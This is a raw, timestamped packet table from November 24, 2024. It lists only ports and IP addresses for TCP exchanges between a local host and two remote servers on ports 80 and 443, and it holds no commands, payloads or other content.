Nov 24, 2024 00:06:24.608284950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.608366013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.608405113 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.608499050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.610438108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.610563040 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.610583067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.610630989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.612456083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.612585068 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.612936974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.614466906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.614577055 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.614593029 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.614650965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.616525888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.616641998 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.616641998 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.616755009 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.618593931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.618635893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.618953943 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.620682955 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.620800018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.620840073 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.621705055 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.622750998 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.622771025 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.624488115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.624789953 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.624911070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.624929905 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.625044107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.626843929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.626951933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.626996994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.627032042 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.628933907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.628983021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.629040003 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.629040003 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.631042957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.631150961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.631186962 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.631244898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.633085012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.633157015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.633301020 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.635185957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.635307074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.635636091 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.637201071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.637336016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.637445927 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.639256954 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.639364958 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.639389992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.639679909 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.641299009 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.641374111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.641403913 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.642318010 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.643397093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.643513918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.643693924 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.645709038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.645721912 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.645845890 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.647494078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.647584915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.647660017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.649580956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.649714947 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.649722099 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.649877071 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.651624918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.651675940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.651707888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.652812958 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.656219006 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.656259060 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.656292915 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.656306982 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.656403065 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.656423092 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.656794071 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.656860113 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.656881094 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.656905890 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.656938076 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.660012007 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.672285080 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.672341108 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.672401905 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.672413111 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.672477007 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.672477007 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.674401045 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.674426079 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.674474955 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.674485922 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.674532890 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.674532890 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.684741974 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.684786081 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.684834003 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.684853077 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.684885979 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.684916973 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.688623905 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.688641071 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.688705921 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.688715935 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.688759089 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.688759089 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.697141886 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.697273970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.697333097 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.697341919 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.697375059 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.697535992 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.699194908 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.699237108 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.699284077 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.699290037 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.699331045 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.699331045 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.699600935 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.699632883 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.699661970 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.699666977 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.699690104 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.700371027 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.703980923 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.703998089 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.704082966 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.704082966 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.704091072 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.704138041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.706638098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.706790924 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.706836939 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.707633018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.707751989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.708059072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.708164930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.708204031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.708282948 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.710099936 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.710160971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.710166931 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.710263014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.712192059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.712300062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.712337017 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.712440968 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.712461948 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.712486982 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.712553978 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.712563038 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.712620974 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.713731050 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.713773012 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.713820934 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.713825941 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.713876009 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.713967085 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.714273930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.714416027 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.714483976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.714545012 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.716303110 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.716391087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.716624022 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.716646910 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.716662884 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.716706991 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.716706991 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.716715097 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.716773033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.718394041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.718467951 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.718502045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.718610048 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.719906092 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.719923019 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.719981909 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.719990015 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.720017910 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.720412016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.720436096 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.720489025 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.722501993 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.722503901 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.722610950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.722635031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.722701073 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.724543095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.724630117 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.724724054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.724896908 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.726619005 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.726705074 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.726728916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.726782084 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.727325916 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.727350950 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.727499008 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.727510929 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.727601051 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.727859974 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.727879047 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.727895975 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.727969885 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.727969885 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.727977037 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.728115082 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.728694916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.728791952 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.728806019 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.728966951 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.730741024 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.730923891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.730952978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.731097937 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.731100082 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.731122971 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.731479883 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.731488943 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.731884003 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.732242107 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.732311010 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.732366085 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.732377052 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.732413054 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.732811928 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.732872963 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.732902050 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.732927084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.734734058 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.734776020 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.734859943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.734882116 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.734889984 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.734914064 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.734914064 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.734966040 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.734988928 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.736124039 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.737086058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.737097979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.737236023 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.739017010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.739155054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.739260912 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.741134882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.741187096 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.741204977 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.741238117 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.741260052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.741278887 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.741292000 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.741334915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.741595030 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.741904020 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.741944075 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.742028952 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.742028952 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.742037058 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.743153095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.743197918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.743210077 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.743227959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.743247032 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.745199919 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.745269060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.745321035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.745321035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.746618032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.746692896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.746697903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.746758938 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.747826099 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.747834921 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.747961044 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.747967958 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.748076916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.748090029 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.748106956 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.748595953 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.749021053 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.749042034 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.749111891 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.749111891 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.749121904 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.752114058 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.757581949 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.757600069 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.759913921 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.759927034 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.763417959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.763439894 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.763652086 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.763659954 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.763674974 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.763920069 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.765871048 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.765888929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.766263962 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.766275883 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.766351938 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.770872116 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.770894051 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.771018028 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.771034956 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.771245003 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.780015945 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.780040979 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.780127048 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.780127048 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.780138016 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.780404091 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.780422926 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.780436039 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.780553102 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.780553102 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.780565023 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.784013033 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.786344051 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.786360979 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.786478996 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.786478996 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.786489964 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.786962986 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.796725035 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.796772957 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.796849966 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.796857119 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.796915054 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.796915054 CET	49731	443	192.168.2.6	150.171.27.10
